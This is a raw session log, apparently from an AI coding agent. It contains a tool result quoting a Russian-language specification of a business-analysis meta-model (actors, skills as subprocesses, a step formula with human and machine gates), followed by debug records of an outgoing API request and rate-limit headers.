\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u043f\u043e\u043b\u044f `Actor` \u0448\u0430\u0433\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. |\\n| `SY-2` | \u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u043e\u043c \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f `System`, \u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u0435\u043c \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u2014 `Actor`. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u0435\u0437 \u043e\u0431\u043e\u0438\u0445 \u043f\u043e\u043b\u044e\u0441\u043e\u0432 \u043d\u0435\u043f\u043e\u043b\u043d\u043e. |\\n| `SY-3` | `System` \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 \u0442\u0430\u043a \u0436\u0435, \u043a\u0430\u043a \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 (`MM-4`): \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0437\u0430\u0434\u043d\u0438\u043c \u0447\u0438\u0441\u043b\u043e\u043c. |\\n\\n### 2.2 `Actor` \u2014 \u043e\u0431\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430, \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u0438 \u0430\u0433\u0435\u043d\u0442\u0430\\n\\n`Actor` \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 0.1 \u043a\u0430\u043a \u00ab\u043a\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u0448\u0430\u0433\u00bb. \u0412\u0435\u0440\u0441\u0438\u044f 0.2 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442\\n\u0435\u0433\u043e \u0434\u043e **\u043e\u0431\u0449\u0435\u0433\u043e \u043f\u043e\u043d\u044f\u0442\u0438\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043b\u0438\u0446\u0430**: \u0438 \u0442\u043e\u0433\u043e, \u043a\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443, \u0438\\n\u0442\u043e\u0433\u043e, \u0447\u044c\u044e \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435. \u041e\u0431\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0432\u0432\u0435\u0434\u0435\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f\\nUML \u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432 \u0431\u0440\u0430\u043b\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u043b\u0438\u0446 \u0438\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u0447\u043d\u044f, \u0430 \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u043b\u0430\\n\u0438\u0445: \u0437\u0430\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b 5 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0441\u043f\u0438\u0446\u044b, \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0445 \u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u043f\u0440\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438\\n\u0432 \u043c\u043e\u0434\u0435\u043b\u0438 (`D6`).\\n\\n| \u0420\u043e\u043b\u044c | \u0422\u0438\u043f | \u0413\u0434\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f |\\n| --- | --- | --- |\\n| `\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c` | \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u044c \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0432 `A-US`, `A-UC`, \u0441\u0443\u0431\u044a\u0435\u043a\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 `System` |\\n| `\u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a` | \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u0430\u0434\u0440\u0435\u0441\u0430\u0442 `A-QUEST`, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 \u043f\u0440\u0438\u0451\u043c\u043a\u0438 |\\n| `\u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a` | \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0448\u0430\u0433\u0430, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c `G-human` |\\n| `\u0410\u0433\u0435\u043d\u0442` | AI-\u0430\u0433\u0435\u043d\u0442 | \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0448\u0430\u0433\u0430, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c `G-self` |\\n| `\u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440` | \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 | \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c `G-mach` |\\n\\n| \u041f\u0440\u0430\u0432\u0438\u043b\u043e | \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 |\\n| --- | --- |\\n| `AC-1` | \u041f\u0435\u0440\u0435\u0447\u0435\u043d\u044c \u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u0437\u0430\u0434\u0430\u0447\u0438 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0432 `A-CORE` \u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0451\u043d \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439 `extract-actors`, \u0430 \u043d\u0435 \u043f\u043e\u0440\u043e\u0436\u0434\u0451\u043d. |\\n| `AC-2` | \u0410\u043a\u0442\u043e\u0440, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0432 `A-CORE`, \u043d\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u0445: \u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c\u0430 \u2014 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u043d\u0435 \u043c\u0435\u0441\u0442\u043e \u0432\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043d\u043e\u0432\u044b\u0445 \u043b\u0438\u0446. |\\n| `AC-3` | \u0420\u043e\u043b\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u0448\u0430\u0433\u0430 \u0438 \u0440\u043e\u043b\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043b\u0438\u0446\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u043f\u043e\u043b\u0435\u043c, \u0430 \u043d\u0435 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c\u044e: \u043e\u0431\u0435 \u2014 `Actor`. |\\n\\n\u0422\u0435\u0440\u043c\u0438\u043d \u00ab\u0410\u043a\u0442\u043e\u0440\u00bb \u0432\u044b\u0431\u0440\u0430\u043d \u0441\u043e\u0437\u043d\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u043c\u0435\u0441\u0442\u043e \u00ab\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00bb \u0438 \u00ab\u0440\u043e\u043b\u044c\u00bb: \u043e\u043d \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442\\n\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, \u0438 \u0430\u0433\u0435\u043d\u0442\u0430, \u0438 \u0432\u043d\u0435\u0448\u043d\u044e\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443-\u043a\u043e\u043d\u0442\u0440\u0430\u0433\u0435\u043d\u0442\u0430, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a \u00ab\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00bb\\n\u0441\u0443\u0436\u0430\u0435\u0442 \u043f\u043e\u043d\u044f\u0442\u0438\u0435 \u0434\u043e \u043e\u0434\u043d\u043e\u0433\u043e \u0442\u0438\u043f\u0430, \u0430 \u00ab\u0440\u043e\u043b\u044c\u00bb \u0443\u0436\u0435 \u0437\u0430\u043d\u044f\u0442\u0430 \u043f\u043e\u043b\u0435\u043c \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0430\u043c\u043e\u0439 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438.\\n\\n### 2.3 `Skill` \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n\\n\u0412\u0435\u0440\u0441\u0438\u044f 0.1 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0430 `Skill` \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 `Operation` \u0438 \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 \u0435\u043c\u0443 \u0432\\n\u0441\u0442\u0430\u0442\u0443\u0441\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438. \u0412\u0435\u0440\u0441\u0438\u044f 0.2 \u044d\u0442\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 **\u043e\u0442\u043c\u0435\u043d\u044f\u0435\u0442**. \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0437\u0430\u043c\u0435\u0440 `D5`:\\n\u0441\u043f\u0438\u0446\u0430 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0448\u0435\u0441\u0442\u044c \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n`\u041f1`\u2013`\u041f6` \u0432 ADR-009, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c Source \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0438\\n\u0440\u0430\u0437\u0443. \u0423\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n`Skill` \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 `K-1` \u0432 \u043d\u043e\u0432\u043e\u0439 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0435: \u0434\u0432\u0435 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438, \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0435\u0441\u044f\\n\u043d\u0430\u0432\u044b\u043a\u043e\u043c, \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f **\u0442\u043e\u0447\u043a\u043e\u0439 \u0433\u0435\u0439\u0442\u0430 \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f**. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043d\u0435\\n\u0432\u0435\u0442\u0432\u0438\u0442\u0441\u044f (`OA-2`) \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u044f; \u043d\u0430\u0432\u044b\u043a \u0438\u043c\u0435\u0435\u0442 \u0438 \u0442\u043e, \u0438\\n\u0434\u0440\u0443\u0433\u043e\u0435. \u0411\u0435\u0437 `Skill` \u043d\u0435\u0440\u0430\u0437\u043b\u0438\u0447\u0438\u043c\u044b \u00ab\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u044f\u00bb \u0438\\n\u00ab\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c\u00bb.\\n\\n| \u041f\u0440\u0430\u0432\u0438\u043b\u043e | \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 |\\n| --- | --- |\\n| `SB-0` | `\u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441` \u2014 \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c, \u0432\u044b\u0445\u043e\u0434\u043e\u043c \u0438 \u0433\u0435\u0439\u0442\u043e\u043c, \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435. |\\n| `SB-1` | \u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443; \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0432\u044b\u0437\u043e\u0432\u043e\u043c, \u0430 \u043d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442. |\\n| `SB-2` | \u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d \u043d\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f; \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0431\u0435\u0437 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d. |\\n| `SB-6` | `Skill` \u2014 **\u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438** \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0432 \u0441\u0440\u0435\u0434\u0443, \u0430 \u043d\u0435 \u0443\u0440\u043e\u0432\u0435\u043d\u044c: \u043d\u0430\u0432\u044b\u043a \u0443\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u043b\u0438\u0431\u043e \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043b\u0438\u0431\u043e \u043e\u0434\u043d\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e ([ADR-016](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md), `SF-1`, `SF-2`). |\\n\\n\u041f\u043e\u043b\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 `SB-0`\u2013`SB-9` \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 `FM-1`\u2013`FM-5` \u2014\\n[`process-taxonomy/10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/10-theory.md), \u00a74.\\n\\n## 3. \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\\n\\n\u0415\u0434\u0438\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u2014 **\u0448\u0430\u0433**. \u0428\u0430\u0433 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d \u0442\u0430\u043a:\\n\\n```text\\nArtifact_in \u00d7 Product \u00d7 System \u00d7 Operation \u00d7 Actor\\n        \u2500\u2500 Contract \u2500\u2500\u25b6 Gate(G-self \u2192 G-mach \u2192 G-human)\\n        \u2500\u2500\u25b6 Artifact_out + Trace\\n```\\n\\n\u0428\u0430\u0433 \u2014 \u0435\u0434\u0438\u043d\u0438\u0446\u0430 **\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f**. \u041d\u0430\u0432\u044b\u043a \u2014 \u0435\u0434\u0438\u043d\u0438\u0446\u0430 **\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438**: \u043e\u043d \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0435\u0442\\n\u0448\u0430\u0433\u0438 \u0432 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441 \u043e\u0431\u0449\u0438\u043c \u0433\u0435\u0439\u0442\u043e\u043c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432 \u0444\u043e\u0440\u043c\u0443\u043b\u0435 \u0448\u0430\u0433\u0430 \u043d\u0435 \u0443\u0447\u0430\u0441\u0442\u0432\u0443\u0435\u0442, \u043d\u043e\\n\u0437\u0430\u0434\u0430\u0451\u0442, \u0433\u0434\u0435 \u0433\u0435\u0439\u0442 \u0441\u0442\u0430\u0432\u0438\u0442\u0441\u044f. `System` \u0432\u043e\u0448\u043b\u0430 \u0432 \u0444\u043e\u0440\u043c\u0443\u043b\u0443 \u043a\u0430\u043a \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043e\u0431\u044a\u0435\u043a\u0442\\n\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f: \u0431\u0435\u0437 \u043d\u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430 \u043d\u0435 \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d \u043a \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f, \u0438\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0442\u0435\u0440\u044f\u0435\u0442 \u0441\u0443\u0431\u044a\u0435\u043a\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f (`SY-2`).\\n\\n\u0418\u0437 \u0437\u0430\u043a\u043e\u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n| \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 | \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 | \u0427\u0442\u043e \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u0442 |\\n| --- | --- | --- |\\n| `MM-1` | \u0428\u0430\u0433 \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f. | \u00ab\u0420\u0430\u0431\u043e\u0442\u0430 \u0438\u0437 \u0432\u043e\u0437\u0434\u0443\u0445\u0430\u00bb: 50 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434 \u2014 \u0442\u0430\u043a\u0438\u0435 \u0448\u0430\u0433\u0438 \u043d\u0435\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b. |\",\n[2026-09-29T07:44:49.650Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:44:49.650Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:44:49.650Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:44:49.650Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:44:49.650Z] [INFO]   }\n[2026-09-29T07:44:49.650Z] [INFO] }\n[2026-09-29T07:44:49.729Z] [STDOUT] [log_2c4e18] sending request {\n[2026-09-29T07:44:49.739Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:49.743Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:49.746Z] [STDOUT]   options: {\n[2026-09-29T07:44:49.748Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:49.751Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:49.753Z] [STDOUT]     body: {\n[2026-09-29T07:44:49.764Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:49.768Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:49.773Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:49.777Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:49.780Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:49.783Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:49.785Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:49.791Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:49.796Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:49.807Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:49.812Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:49.825Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:49.830Z] [STDOUT]     },\n[2026-09-29T07:44:49.834Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:49.840Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:49.842Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:49.851Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:49.854Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:49.858Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:49.860Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:49.864Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:49.870Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:49.873Z] [STDOUT]     },\n[2026-09-29T07:44:49.878Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:49.882Z] [STDOUT]   },\n[2026-09-29T07:44:49.889Z] [STDOUT]   headers: {\n[2026-09-29T07:44:49.893Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:49.897Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:49.901Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:49.906Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:49.911Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:49.919Z] [STDOUT]     authorization: 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\"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:50.773Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:50.782Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:50.786Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:50.790Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:50.802Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:50.824Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:50.835Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:50.840Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": 